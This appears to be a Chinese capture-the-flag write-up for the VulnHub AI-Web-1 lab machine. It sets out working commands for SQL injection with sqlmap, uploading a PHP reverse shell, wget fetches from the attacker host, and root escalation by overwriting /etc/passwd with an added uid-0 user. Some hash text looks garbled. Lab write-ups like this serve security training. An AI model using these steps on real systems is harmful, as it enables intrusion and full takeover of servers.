靶机下载地址
https://download.vulnhub.com/aiweb/AI-Web-1.0.7z
主机探测
netdiscover -i eth0 -r 192.168.1.0/24
端口探测
nmap -p 1-65535 -sC -sV 192.168.1.14
开启了80端口访问
web目录爆破
gobuster dir -u http://192.168.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 50
得到当前有个robots.txt文件,发现两个目录
对 /m3diNf0/目录进行爆破
gobuster dir -u http://192.168.1.14//m3diNf0/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 50
扫到一个info.php的页面是个phpinfo,得到了它的网站根目录
/home/www/html/web1x443290o2sdf92213
直接访问se3reTdir777页面
写了个参数1
用bp抓下包,并在参数上加了个单引号发现抱错存在sql注入
把数据包复制下来在注入点加上*
POST //se3reTdir777/ HTTP/1.1
Host: 192.168.1.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://192.168.1.14
Connection: close
Referer: http://192.168.1.14//se3reTdir777/
Upgrade-Insecure-Requests: 1
uid=1*&Operation=Submit
用sqlmap进行探测
sqlmap.py -r C:\Users\LiHua\Desktop\3.txt --batch
尝试上传一个php反弹shell到/home/www/html/web1x443290o2sdf92213//se3reTdir777/uploads/目录
sqlmap.py -u http://192.168.1.14//se3reTdir777/# --data "uid=1&Operation=Submit" -v 1 --file-read="/etc/passwd" --file-write D:\moon.php --file-dest /home/www/html/web1x443290o2sdf92213//se3reTdir777/uploads/moon.php
上传成功
在kali本地监听6666端口
nc -lvvp 6666
访问192.168.1.14//se3reTdir777/uploads/moon.php
在kali本地开启一个http服务上传提权辅助脚本
python3 -m http.server 8080
进入tmp目录
cd /tmp
wget http://192.168.1.15:8080/ linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
这里并没有看到可以利用的exp,试试suid提权
find / -perm -u=s -type f 2>/dev/null
使用passwd提权首先看下/etc/passwd文件的权限
ls -al /etc/passwd可以看到具有写入权限
通过OpenSSL passwd生成一个新的用户moonhacker,密码为123456
openssl passwd -1 -salt moonhack 123456
1 1 1moonhack$4o50Z4aoUGaLMC0Rg4Io40
将这段生成的密码写进/etc/passwd最后一行
首先查看/etc/passwd并保存在本地的kali下在把这行密码添加进去
复制到kali下文件命名为passwd并把将moonhacker:1 11moonhack$4o50Z4aoUGaLMC0Rg4Io40:0:0:/root:/bin/bash追加到passwd中
覆盖掉目标服务器的passwd文件
wget http://192.168.1.15:8080/passwd -O /etc/passwd
先用python虚拟出一个shell,切换到moonhacker用户
python -c 'import pty; pty.spawn("/bin/bash")'